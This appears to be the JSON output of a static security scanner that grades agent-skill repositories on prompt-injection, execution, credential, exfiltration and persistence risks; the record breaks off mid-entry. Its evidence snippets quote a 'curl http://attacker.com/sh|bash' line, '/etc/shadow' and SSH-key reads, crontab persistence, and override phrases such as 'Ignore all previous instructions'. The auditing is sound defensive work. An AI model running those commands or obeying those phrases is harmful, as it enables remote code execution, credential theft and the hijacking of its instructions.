{ "scanner": "SHC-Scan v1.1", "at": "2026-09-15 19:12", "count": 72, "errors": [], "scale": "S+ 无高危 / S 无高危 / A 中低风险 / B 高危待复核 / C 不建议装 / N/A 无可扫文件", "dims": [ "prompt-injection", "dangerous-exec", "credential-access", "exfiltration", "persistence", "obfuscation+supply-chain" ], "method": "静态文本层扫描：技能指令层/代码层按原级计权，普通文档层降档并计 0.4 系数；同规则多次命中按对数递减；排除 node_modules/dist/vendor/.github 与 *.min.* 构建产物", "items": { "zhaoxuya520/reverse-skill": { "g": "C", "s": 0.0, "note": "多项高危特征，不建议直接安装", "hi": 6, "md": 11, "nf": 412, "cf": 80, "mf": 332, "nh": 104, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（8 处）", "n": 8, "ctx": [ "inst" ], "ev": [ { "p": "skills/attack-chain/SKILL.md", "ln": 371, "ev": "/etc/shadow", "ctx": "inst" }, { "p": "skills/field-journal/precedent-pentest.md", "ln": 436, "ev": "/etc/shadow", "ctx": "inst" } ] }, { "k": "persist", "lv": "high", "dim": "persistence", "msg": "写入开机自启 / 计划任务 / 注册表 Run（4 处）", "n": 4, "ctx": [ "inst" ], "ev": [ { "p": "skills/attack-chain/SKILL.md", "ln": 486, "ev": "crontab -", "ctx": "inst" }, { "p": "skills/attack-chain/SKILL.md", "ln": 486, "ev": "crontab -", "ctx": "inst" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "文本层零宽/双向控制字符（隐藏指令载体）（4 处）", "n": 4, "ctx": [ "inst" ], "ev": [ { "p": "skills/llm-security/SKILL.md", "ln": 56, "ev": "​", "ctx": "inst" }, { "p": "skills/llm-security/SKILL.md", "ln": 56, "ev": "​", "ctx": "inst" } ] }, { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（3 处）", "n": 3, "ctx": [ "inst" ], "ev": [ { "p": "skills/apk-reverse/SKILL.md", "ln": 229, "ev": "curl|sh", "ctx": "inst" }, { "p": "skills/field-journal/seed-012_log4shell-jndi-rce.md", "ln": 25, "ev": "curl http://attacker.com/sh|bash", "ctx": "inst" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "疑似系统提示词覆盖/角色重写（2 处）", "n": 2, "ctx": [ "inst" ], "ev": [ { "p": "skills/field-journal/CONTRIBUTE-BACK.md", "ln": 44, "ev": "you are now", "ctx": "inst" }, { "p": "skills/llm-security/SKILL.md", "ln": 46, "ev": "You are now", "ctx": "inst" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/llm-security/SKILL.md", "ln": 46, "ev": "Ignore all previous instructions", "ctx": "inst" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "PowerShell 远程表达式执行 / 编码命令（18 处）", "n": 18, "ctx": [ "doc" ], "ev": [ { "p": "docs/PACKAGE-SECURITY-AUDIT.md", "ln": 46, "ev": "Invoke-Expression", "ctx": "doc" }, { "p": "docs/PACKAGE-SECURITY-AUDIT.md", "ln": 46, "ev": "FromBase64String", "ctx": "doc" } ] }, { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）（11 处）", "n": 11, "ctx": [ "inst" ], "ev": [ { "p": "skills/attack-chain/SKILL.md", "ln": 275, "ev": "http://169.254.169.254", "ctx": "inst" }, { "p": "skills/field-journal/precedent-pentest.md", "ln": 89, "ev": "http://169.254.169.254", "ctx": "inst" } ] } ], "dom": [ "target.com", "target", "attacker.com", "169.254.169.254", "img.shields.io", "attack.mitre.org" ], "nd": 162, "sig": "0eadff0a5b81", "at": "2026-09-15" }, "op7418/guizang-ppt-skill": { "g": "S+", "s": 97.2, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 20, "cf": 3, "mf": 17, "nh": 2, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "scripts/validate-presenter-mode.mjs", "ln": 21, "ev": "exec(", "ctx": "code" }, { "p": "scripts/validate-swiss-deck.mjs", "ln": 150, "ev": "eval(", "ctx": "code" } ] } ], "dom": [ "img.shields.io", "zhenfund.feishu.cn", "x.com", "colaskill.com", "www.kimi.com", "unpkg.com" ], "nd": 10, "sig": "64f49cf1286f", "at": "2026-09-15" }, "titanwings/distilly": { "g": "S", "s": 92.3, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 98, "cf": 41, "mf": 57, "nh": 2, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取浏览器配置文件目录（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "tools/dingtalk_auto_collector.py", "ln": 495, "ev": "Google/Chrome/User Data", "ctx": "code" }, { "p": "tools/feishu_browser.py", "ln": 44, "ev": "Google/Chrome/User Data", "ctx": "code" } ] } ], "dom": [ "img.shields.io", "discord.gg", "arxiv.org", "titanwings.github.io", "star-history.dera.page", "open.feishu.cn" ], "nd": 26, "sig": "abdb5b95795e", "at": "2026-09-15" }, "liyupi/ai-guide": { "g": "S", "s": 91.5, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 2, "nf": 238, "cf": 0, "mf": 238, "nh": 26, "f": [ { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "文本层零宽/双向控制字符（隐藏指令载体）（19 处）", "n": 19, "ctx": [ "doc" ], "ev": [ { "p": "AI/AI行业资讯/2025-03/Model Context Protocol，看这一篇就够了.md", "ln": 121, "ev": "​", "ctx": "doc" }, { "p": "AI/AI行业资讯/2025-03/Model Context Protocol，看这一篇就够了.md", "ln": 127, "ev": "​", "ctx": "doc" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（6 处）", "n": 6, "ctx": [ "doc" ], "ev": [ { "p": "OpenClaw 保姆级教程/02 本地安装 OpenClaw.md", "ln": 73, "ev": "curl -fsSL https://openclaw.ai/install.sh | bash", "ctx": "doc" }, { "p": "OpenClaw 保姆级教程/03 OpenClaw 一键安装脚本.md", "ln": 74, "ev": "curl -fsSL https://codefather.cn/openclaw_install/install-openclaw.sh | bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "AI/AI行业资讯/2025-03/Model Context Protocol，看这一篇就够了.md", "ln": 358, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" } ] } ], "dom": [ "pic.yupi.icu", "pic.code-nav.cn", "ai.codefather.cn", "n.sinaimg.cn", "www.codefather.cn", "mp.weixin.qq.com" ], "nd": 284, "sig": "4b1a6d6e5d4f", "at": "2026-09-15" }, "zenstory-ai/oh-story-claudecode": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 181, "cf": 49, "mf": 132, "nh": 0, "f": [], "dom": [ "zenstory.ai", "registry.npmjs.org", "code.claude.com", "zcode.z.ai", "t.me", "linux.do" ], "nd": 10, "sig": "a7dab3ec07be", "at": "2026-09-15" }, "iflytek/skillhub": { "g": "A", "s": 86.5, "note": "存在中低风险项，建议装前审读", "hi": 0, "md": 2, "nf": 298, "cf": 167, "mf": 131, "nh": 13, "f": [ { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（10 处）", "n": 10, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 118, "ev": "curl -fsSL https://imageless.oss-cn-beijing.aliyuncs.com/runtime.sh | sh", "ctx": "doc" }, { "p": "README.md", "ln": 126, "ev": "curl -fsSL https://imageless.oss-cn-beijing.aliyuncs.com/runtime.sh | sh", "ctx": "doc" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "builtin-skills/skills/plugin-scanner/SKILL.md", "ln": 28, "ev": "read `.env", "ctx": "inst" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "cli/src/services/skill-target-lock.ts", "ln": 126, "ev": "exec(", "ctx": "code" }, { "p": "cli/src/services/skill-target-lock.ts", "ln": 138, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "registry.test", "skill.xfyun.cn", "skillhub.your-company.com", "img.shields.io", "imageless.oss-cn-beijing.aliyuncs.com", "registry.example.test" ], "nd": 57, "sig": "4e730b040f3a", "at": "2026-09-15" }, "libukai/awesome-agent-skills": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 7, "cf": 0, "mf": 7, "nh": 0, "f": [], "dom": [ "agentskills.io", "pbs.twimg.com", "www.youtube.com", "awesome.re", "img.shields.io", "mp.weixin.qq.com" ], "nd": 22, "sig": "0d206ed9c8fc", "at": "2026-09-15" }, "Anionex/agent-vision-toolkit": { "g": "S+", "s": 96.9, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 66, "cf": 38, "mf": 28, "nh": 2, "f": [ { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "写入开机自启 / 计划任务 / 注册表 Run（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "AGENT_INSTALL.md", "ln": 137, "ev": "LaunchAgents", "ctx": "doc" }, { "p": "AGENT_INSTALL.md", "ln": 141, "ev": "LaunchAgents", "ctx": "doc" } ] } ], "dom": [ "registry.npmmirror.com", "img.shields.io", "opencollective.com", "aihubmix.com", "x.com", "api.ewo.so" ], "nd": 27, "sig": "0124e2fe1a82", "at": "2026-09-15" }, "brycewang-stanford/Awesome-Journal-Skills": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "copaper.ai", "img.shields.io", "reap.fsi.stanford.edu", "api.star-history.com", "awesome.re", "ideas.repec.org" ], "nd": 12, "big": 1, "cov": "partial", "at": "2026-09-15" }, "laolaoshiren/claude-code-skills-zh": { "g": "S+", "s": 97.5, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 36, "cf": 11, "mf": 25, "nh": 1, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "scripts/test_juejin_post.js", "ln": 128, "ev": "eval(", "ctx": "code" } ] } ], "dom": [ "juejin.cn", "claude-skills.bt199.com", "img.shields.io", "img", "registry.npmjs.org", "gh-proxy.com" ], "nd": 10, "sig": "dbd54fe315ae", "at": "2026-09-15" }, "beshuaxian/higgsfield-seedance2-jineng": { "g": "S+", "s": 97.2, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 47, "cf": 2, "mf": 45, "nh": 1, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "GITHUB_SETUP.md", "ln": 103, "ev": ".ssh/id_ed25519", "ctx": "doc" } ] } ], "dom": [ "higgsfield.ai", "x.com", "keepachangelog.com", "www.contributor-covenant.org", "www.conventionalcommits.org", "username.github.io" ], "nd": 8, "sig": "a5638d91f65f", "at": "2026-09-15" }, "xiaohuailabs/xiaohu-wechat-format": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 97, "cf": 93, "mf": 4, "nh": 0, "f": [], "dom": [ "api.weixin.qq.com", "openrouter.ai", "your_provider", "your_provider_baseurl", "x.wtapi.ai" ], "nd": 5, "sig": "06de53fe2954", "at": "2026-09-15" }, "xjtulyc/MedgeClaw": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 37, "cf": 9, "mf": 28, "nh": 0, "f": [], "dom": [ "docs.docker.com", "open.feishu.cn", "cran.r-project.org", "docs.claude.com", "api.minimax.chat", "api.z.ai" ], "nd": 13, "sig": "288cea8ceeb2", "at": "2026-09-15" }, "JackyST0/awesome-agent-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 26, "cf": 8, "mf": 18, "nh": 0, "f": [], "dom": [ "claude-plugins.dev", "img.shields.io", "skill.md", "agentskills.io", "docs.openclaw.ai", "star-history.dera.page" ], "nd": 15, "sig": "9babff28739e", "at": "2026-09-15" }, "junkai-li/NetCoreKevin": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "star-history.dera.page", "open.bigmodel.cn", "ollama.com", "blog.csdn.net", "gitee.com" ], "nd": 5, "big": 1, "cov": "partial", "at": "2026-09-15" }, "zhikunqingtao/zhikuncode": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "zhikunqingtao.github.io", "img.shields.io", "oss.zhikun.xin", "king.zhikun.xin", "opensource.org", "bailian.console.aliyun.com" ], "nd": 20, "big": 1, "cov": "partial", "at": "2026-09-15" }, "Cuimao777/cuimao-translator": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 5, "cf": 0, "mf": 5, "nh": 0, "f": [], "dom": [ "img.shields.io" ], "nd": 1, "sig": "632d695d8e85", "at": "2026-09-15" }, "helloianneo/awesome-claude-code-skills": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "skills.sh", "lobehub.com", "skillsmp.com", "www.typeui.sh", "hotkeys.design", "awesomeskills.dev" ], "nd": 8, "sig": "bde4e02a449a", "at": "2026-09-15" }, "vivy-yi/xiaohongshu-skills": { "g": "A", "s": 80.2, "note": "存在中低风险项，建议装前审读", "hi": 1, "md": 0, "nf": 119, "cf": 1, "mf": 118, "nh": 2, "f": [ { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "疑似系统提示词覆盖/角色重写（2 处）", "n": 2, "ctx": [ "inst" ], "ev": [ { "p": "skills/01-内容创作/script-writing/SKILL.md", "ln": 194, "ev": "you are now", "ctx": "inst" }, { "p": "skills/02-账号运营/persona-building/SKILL.md", "ln": 136, "ev": "you are now", "ctx": "inst" } ] } ], "dom": [ "www.qianguadata.com" ], "nd": 1, "sig": "648da659544c", "at": "2026-09-15" }, "liyupi/yupi-skill": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 5, "cf": 0, "mf": 5, "nh": 0, "f": [], "dom": [ "img.shields.io", "www.codefather.cn", "agentskills.io", "ai.codefather.cn", "mianshiya.com", "dogyupi.com" ], "nd": 9, "sig": "6c2e0422b89c", "at": "2026-09-15" }, "obra/superpowers": { "g": "A", "s": 76.5, "note": "存在中低风险项，建议装前审读", "hi": 1, "md": 0, "nf": 178, "cf": 79, "mf": 99, "nh": 14, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/systematic-debugging/SKILL.md", "ln": 99, "ev": "keychains", "ctx": "inst" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（8 处）", "n": 8, "ctx": [ "code", "doc" ], "ev": [ { "p": "docs/superpowers/plans/2026-07-06-sdd-plan-scoped-workspace.md", "ln": 62, "ev": "eval(", "ctx": "doc" }, { "p": "docs/superpowers/plans/2026-07-06-sdd-plan-scoped-workspace.md", "ln": 651, "ev": "eval (", "ctx": "doc" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（3 处）", "n": 3, "ctx": [ "doc" ], "ev": [ { "p": "docs/superpowers/plans/2026-05-06-lift-drill-into-evals.md", "ln": 374, "ev": "read `os.env", "ctx": "doc" }, { "p": "docs/superpowers/plans/2026-05-06-lift-drill-into-evals.md", "ln": 374, "ev": "reads `os.env", "ctx": "doc" } ] }, { "k": "obfusc", "lv": "low", "dim": "supply-chain", "msg": "依赖直连外部 URL 安装（可被投毒）（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": ".opencode/INSTALL.md", "ln": 83, "ev": "npm install superpowers@git+https://", "ctx": "doc" }, { "p": "docs/README.opencode.md", "ln": 137, "ev": "npm install superpowers@git+https://", "ctx": "doc" } ] } ], "dom": [ "mintcdn.com", "platform.claude.com", "opencode.ai", "www.contributor-covenant.org", "primeradiant.com", "agentskills.io" ], "nd": 12, "sig": "c2ea858e34dc", "at": "2026-09-15" }, "mattpocock/skills": { "g": "S+", "s": 98.9, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 161, "cf": 49, "mf": 112, "nh": 2, "f": [ { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "CHANGELOG.md", "ln": 48, "ev": "reads `.env", "ctx": "doc" }, { "p": "docs/engineering/wizard.md", "ln": 63, "ev": "ready written to `.env", "ctx": "doc" } ] } ], "dom": [ "aihero.dev", "www.aihero.dev", "registry.npmjs.org", "skills.sh", "www.amazon.co.uk", "res.cloudinary.com" ], "nd": 16, "sig": "778c741b9e1b", "at": "2026-09-15" }, "multica-ai/andrej-karpathy-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 8, "cf": 2, "mf": 6, "nh": 0, "f": [], "dom": [ "x.com" ], "nd": 1, "sig": "8dfa0dd09ecf", "at": "2026-09-15" }, "anthropics/skills": { "g": "A", "s": 83.2, "note": "存在中低风险项，建议装前审读", "hi": 0, "md": 2, "nf": 182, "cf": 43, "mf": 139, "nh": 4, "f": [ { "k": "persist", "lv": "medium", "dim": "persistence", "msg": "提权 / 关闭系统安全防护", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/claude-api/shared/managed-agents-self-hosted-sandboxes.md", "ln": 187, "ev": "sudo chown", "ctx": "inst" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/claude-api/shared/managed-agents-tools.md", "ln": 95, "ev": "Read .env", "ctx": "inst" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "code", "inst" ], "ev": [ { "p": "skills/algorithmic-art/templates/generator_template.js", "ln": 133, "ev": "exec(", "ctx": "code" }, { "p": "skills/claude-api/shared/cost-optimization.md", "ln": 26, "ev": "eval (", "ctx": "inst" } ] } ], "dom": [ "platform.claude.com", "schemas.openxmlformats.org", "openfontlicense.org", "academy.claude.com", "schemas.microsoft.com", "api.githubcopilot.com" ], "nd": 27, "sig": "28c4992cc9bc", "at": "2026-09-15" }, "Shubhamsaboo/awesome-llm-apps": { "g": "S", "s": 100.0, "note": "仓库体积超限，仅扫根级文档（SKILL.md / README.md）· 覆盖不足，不作等级背书", "hi": 0, "md": 0, "nf": 1, "cf": 0, "mf": 1, "nh": 0, "f": [], "dom": [ "www.readme-i18n.com", "www.theunwindai.com", "trendshift.io" ], "nd": 3, "big": 1, "cov": "partial", "at": "2026-09-15" }, "farion1231/cc-switch": { "g": "S+", "s": 95.6, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 94, "cf": 1, "mf": 93, "nh": 10, "f": [ { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "docs/release-notes/v3.19.0-en.md", "ln": 158, "ev": "curl …|sh", "ctx": "doc" }, { "p": "docs/release-notes/v3.19.0-ja.md", "ln": 158, "ev": "curl …|sh", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（8 处）", "n": 8, "ctx": [ "doc" ], "ev": [ { "p": "SECURITY.md", "ln": 34, "ev": "eval(", "ctx": "doc" }, { "p": "SECURITY.md", "ln": 34, "ev": "new Function(", "ctx": "doc" } ] } ], "dom": [ "ccswitch.io", "img.shields.io", "www.newapi.ai", "api-docs.deepseek.com", "www.contributor-covenant.org", "www.kimi.com" ], "nd": 58, "sig": "eb397825e1dd", "at": "2026-09-15" }, "nextlevelbuilder/ui-ux-pro-max-skill": { "g": "S+", "s": 97.2, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 237, "cf": 96, "mf": 141, "nh": 2, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": ".claude/skills/brand/scripts/extract-colors.cjs", "ln": 84, "ev": "exec(", "ctx": "code" }, { "p": "cli/assets/skills/brand/scripts/extract-colors.cjs", "ln": 84, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "img.shields.io", "images.pexels.com", "openfontlicense.org", "api.muapi.ai", "uupm.cc", "tailwindcss.com" ], "nd": 49, "sig": "c6271f9918e8", "at": "2026-09-15" }, "Graphify-Labs/graphify": { "g": "B", "s": 68.7, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 3, "nf": 106, "cf": 57, "mf": 49, "nh": 199, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "graphify/detect.py", "ln": 138, "ev": ".netrc", "ctx": "code" }, { "p": "graphify/extractors/fortran.py", "ln": 19, "ev": ".ssh/id_rsa", "ctx": "code" } ] }, { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "文本层零宽/双向控制字符（隐藏指令载体）（185 处）", "n": 185, "ctx": [ "doc" ], "ev": [ { "p": "docs/translations/README.he-IL.md", "ln": 29, "ev": "‎", "ctx": "doc" }, { "p": "docs/translations/README.he-IL.md", "ln": 137, "ev": "‎", "ctx": "doc" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链（3 处）", "n": 3, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 542, "ev": ".aws/credentials", "ctx": "doc" }, { "p": "docs/translations/README.he-IL.md", "ln": 486, "ev": ".aws/credentials", "ctx": "doc" } ] }, { "k": "poison", "lv": "medium", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 584, "ev": "silently run", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（8 处）", "n": 8, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 136, "ev": "curl -LsSf https://astral.sh/uv/install.sh \\| sh", "ctx": "doc" }, { "p": "README.md", "ln": 153, "ev": "curl -LsSf https://astral.sh/uv/install.sh | sh", "ctx": "doc" } ] } ], "dom": [ "img.shields.io", "safishamsi.github.io", "pepy.tech", "api.star-history.com", "star-history.com", "opencode.ai" ], "nd": 34, "sig": "3bf2d85ebf32", "at": "2026-09-15" }, "JuliusBrussee/caveman": { "g": "B", "s": 69.0, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 1, "nf": 293, "cf": 228, "mf": 65, "nh": 27, "f": [ { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（7 处）", "n": 7, "ctx": [ "code" ], "ev": [ { "p": "agents/agents.json", "ln": 156, "ev": "curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash", "ctx": "code" }, { "p": "agents/profiles/hermes.json", "ln": 9, "ev": "curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash", "ctx": "code" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（5 处）", "n": 5, "ctx": [ "doc" ], "ev": [ { "p": "CLAUDE.md", "ln": 313, "ev": "curl|bash", "ctx": "doc" }, { "p": "INSTALL.md", "ln": 12, "ev": "curl -fsSL https://raw.githubusercontent.com/JuliusBrussee/caveman/v2.7.0/install.sh | bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（14 处）", "n": 14, "ctx": [ "code", "doc" ], "ev": [ { "p": "CLAUDE.md", "ln": 414, "ev": "new Function(", "ctx": "doc" }, { "p": "agents/compile.mjs", "ln": 445, "ev": "exec(", "ctx": "code" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "docs/technical/deploy.md", "ln": 91, "ev": "cat > deploy/.env", "ctx": "doc" } ] } ], "dom": [ "opencode.ai", "caveman.so", "img.shields.io", "hermes-agent.nousresearch.com", "docs.aws.amazon.com", "www.youtube.com" ], "nd": 62, "sig": "46b614dce3db", "at": "2026-09-15" }, "addyosmani/agent-skills": { "g": "B", "s": 69.5, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 1, "nf": 143, "cf": 69, "mf": 74, "nh": 6, "f": [ { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令（2 处）", "n": 2, "ctx": [ "inst" ], "ev": [ { "p": "skills/browser-testing-with-devtools/SKILL.md", "ln": 77, "ev": "Ignore previous instructions", "ctx": "inst" }, { "p": "skills/source-driven-development/SKILL.md", "ln": 110, "ev": "ignore previous instructions", "ctx": "inst" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "hooks/session-start-test.sh", "ln": 20, "ev": "readFileSync(process.env", "ctx": "code" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（2 处）", "n": 2, "ctx": [ "code", "inst" ], "ev": [ { "p": "scripts/lib/skill-lint.js", "ln": 119, "ev": "exec(", "ctx": "code" }, { "p": "skills/security-and-hardening/SKILL.md", "ln": 71, "ev": "eval(", "ctx": "inst" } ] }, { "k": "obfusc", "lv": "low", "dim": "supply-chain", "msg": "依赖直连外部 URL 安装（可被投毒）", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "references/security-checklist.md", "ln": 179, "ev": "npm install-scripts](https://", "ctx": "doc" } ] } ], "dom": [ "react.dev", "code.visualstudio.com", "www.linkedin.com", "trendshift.io", "www.agy.dev", "pnpm.io" ], "nd": 19, "sig": "8806f5042c8d", "at": "2026-09-15" }, "Leonxlnx/taste-skill": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 36, "cf": 7, "mf": 29, "nh": 0, "f": [], "dom": [ "picsum.photos", "developer.apple.com", "api.star-history.com", "carbondesignsystem.com", "atlassian.design", "designsystem.digital.gov" ], "nd": 37, "sig": "6eb1a011aee7", "at": "2026-09-15" }, "ComposioHQ/awesome-claude-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 598, "cf": 3, "mf": 595, "nh": 0, "f": [], "dom": [ "composio.dev", "rube.app", "openfontlicense.org", "img.shields.io", "apify.com", "dashboard.composio.dev" ], "nd": 27, "sig": "42f2a666a956", "at": "2026-09-15" }, "tt-a1i/archify": { "g": "S", "s": 88.9, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 136, "cf": 112, "mf": 24, "nh": 7, "f": [ { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）（3 处）", "n": 3, "ctx": [ "code" ], "ev": [ { "p": "archify/test/brand-marks.test.mjs", "ln": 415, "ev": "http://192.0.2.1", "ctx": "code" }, { "p": "archify/test/brand-marks.test.mjs", "ln": 416, "ev": "http://198.51.100.1", "ctx": "code" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（4 处）", "n": 4, "ctx": [ "code" ], "ev": [ { "p": "archify/delta/architecture-delta.mjs", "ln": 399, "ev": "exec(", "ctx": "code" }, { "p": "archify/delta/architecture-delta.mjs", "ln": 404, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "tt-a1i.github.io", "supercode.sh", "registry.npmjs.org", "img.shields.io", "spdx.org", "www.rust-lang.org" ], "nd": 102, "sig": "ed6361ae7e02", "at": "2026-09-15" }, "mvanhorn/last30days-skill": { "g": "B", "s": 62.2, "note": "存在高危或多项风险，建议人工复核后再装", 